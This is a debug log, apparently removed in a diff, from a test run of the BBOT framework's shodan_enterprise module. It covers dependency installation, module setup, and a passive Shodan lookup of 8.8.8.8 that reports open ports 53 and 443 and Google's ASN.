Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:37:56,594 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:37:56,595 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:37:56,595 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:37:58,614 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:37:58,615 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:37:58,620 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:37:58,621 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:37:58,621 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:37:58,621 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:37:58,622 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:37:58,622 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:37:58,627 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/ia61pa3328yi1fz8cpsn -2026-03-01 16:37:59,832 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:37:59,832 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:37:59,833 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:37:59,833 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:37:59,834 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:37:59,834 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:37:59,835 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:37:59,960 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:37:59,960 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:37:59,961 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:37:59,964 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 16:37:59,964 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:37:59,965 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:37:59,965 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:37:59,967 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:37:59,967 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:37:59,968 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:37:59,968 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:37:59,968 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:37:59,969 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:37:59,969 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:37:59,969 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:37:59,969 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:37:59,969 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:37:59,970 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:37:59,970 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:37:59,971 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:37:59,971 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:37:59,971 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:37:59,971 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:37:59,971 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:37:59,972 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:37:59,972 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:37:59,972 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:37:59,972 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:37:59,973 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:37:59,973 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:37:59,973 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:37:59,973 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:37:59,974 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:37:59,974 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:37:59,974 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:37:59,974 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:37:59,975 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:37:59,975 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:37:59,975 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 16:37:59,975 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:37:59,976 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:37:59,976 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:37:59,976 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:37:59,976 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:37:59,977 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:38:00,118 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_hq8crft5py -2026-03-01 16:38:00,118 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:38:00,226 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:38:00,226 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:38:00,226 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:38:00,230 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-01 16:38:00,329 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-03-01 16:38:00,329 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-01 16:38:00,331 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-03-01 16:38:00,332 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:38:00,333 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:38:00,334 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:38:00,335 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-01 16:38:00,335 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:38:00,337 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:38:00,339 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:38:00,339 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:38:00,341 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:38:00,342 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:38:00,344 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:38:00,344 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 16:38:00,348 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:38:00,349 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-01 16:38:00,349 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:38:00,350 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:38:00,350 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-03-01 16:38:00,351 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-03-01 16:38:00,351 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-03-01 16:38:00,352 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-01 16:38:00,352 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:38:00,464 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-01 16:38:00,477 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 16:38:00,498 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:38:00,499 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-03-01 16:38:00,499 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-01 16:38:00,500 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:38:00,520 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,522 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:38:00,523 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,523 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:38:00,524 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,524 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:38:00,525 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,526 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:38:00,526 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,527 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:38:00,528 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,528 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,529 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:38:00,529 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,530 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:38:00,531 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:38:00,531 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,531 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,532 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:38:00,532 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:38:00,533 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,533 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:38:00,534 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,534 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,535 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:38:00,536 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:38:00,536 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,536 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:38:00,537 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,538 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:38:00,538 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:38:00,538 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,539 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:38:00,540 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:38:00,540 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,541 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:38:00,541 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:38:00,542 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:38:00,542 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:38:00,543 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:38:00,543 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 16:38:00,600 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:38:00,602 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:38:00,602 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:38:00,603 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:38:00,603 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:38:00,603 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:38:00,604 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 16:38:00,604 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:38:00,605 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 16:38:00,606 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 16:38:00,607 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 16:38:00,607 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 16:38:00,608 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 16:38:00,608 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 16:38:00,609 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 16:38:00,609 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 16:38:00,709 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 16:38:00,710 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 16:38:00,729 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 16:38:00,730 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 16:38:00,730 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 16:38:00,743 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 16:38:00,744 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 16:38:00,745 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 16:38:00,746 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 16:38:00,747 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 16:38:00,748 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 16:38:00,865 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_hq8crft5py completed in 0 seconds with status FINISHED -2026-03-01 16:38:00,865 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 16:38:00,866 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:38:00,867 [CRITICAL] bbot test_module_shodan_enterprise.py:57 Found 1 ASN events -2026-03-01 16:38:00,867 [HUGEINFO] bbot test_module_shodan_enterprise.py:63 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-03-01 16:38:00,868 [CRITICAL] bbot test_module_shodan_enterprise.py:72 Found 0 TECHNOLOGY events -2026-03-01 16:38:00,868 [HUGEINFO] bbot test_module_shodan_enterprise.py:75 Technologies: [] -2026-03-01 16:39:26,267 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:39:26,279 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 16:39:26,280 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:39:26,281 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 16:39:26,282 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 16:39:26,283 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 16:39:26,284 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 16:39:26,285 